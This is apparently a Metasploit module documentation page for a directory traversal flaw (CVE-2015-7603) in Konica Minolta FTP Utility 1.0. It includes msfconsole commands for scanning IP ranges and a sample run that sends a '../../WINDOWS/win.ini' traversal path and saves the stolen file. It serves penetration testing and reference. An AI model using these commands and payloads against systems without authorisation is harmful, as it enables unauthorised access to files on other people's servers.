Module Overview

Name: Konica Minolta FTP Utility 1.00 Directory Traversal Information Disclosure
Module: auxiliary/scanner/ftp/konica_ftp_traversal
Source code: modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb
Disclosure date: 2015-09-22
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: ftp
Target network port(s): 21, 2121
List of CVEs: CVE-2015-7603

This module exploits a directory traversal vulnerability found in Konica Minolta FTP Utility 1.0. This vulnerability allows an attacker to download arbitrary files from the server by crafting a RETR command that includes file system traversal strings such as '..//'

Module Ranking and Traits

Module Ranking:

• normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/ftp/konica_ftp_traversal
msf auxiliary(konica_ftp_traversal) > show options
    ... show and set options ...
msf auxiliary(konica_ftp_traversal) > set RHOSTS ip-range
msf auxiliary(konica_ftp_traversal) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(konica_ftp_traversal) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(konica_ftp_traversal) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(konica_ftp_traversal) > set RHOSTS file:/tmp/ip_list.txt

Required Options

• RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

  msf > use modules/auxiliary/scanner/ftp/konica_ftp_traversal
  msf auxiliary(scanner/ftp/konica_ftp_traversal) > set RHOSTS 1.1.1.1
    RHOSTS => 1.1.1.1
  set PATH ../../WINDOWS/win.ini
    PATH => ../../WINDOWS/win.ini
  msf auxiliary(scanner/ftp/konica_ftp_traversal) > run
  [+] 1.1.1.1:21      - Stored ../../WINDOWS/win.ini to /root/.msf4/loot/20191122042114_default_1.1.1.1_konica.ftp.data_003802.ini
  [*] 1.1.1.1:21      - Scanned 1 of 1 hosts (100% complete)
  [*] Auxiliary module execution completed
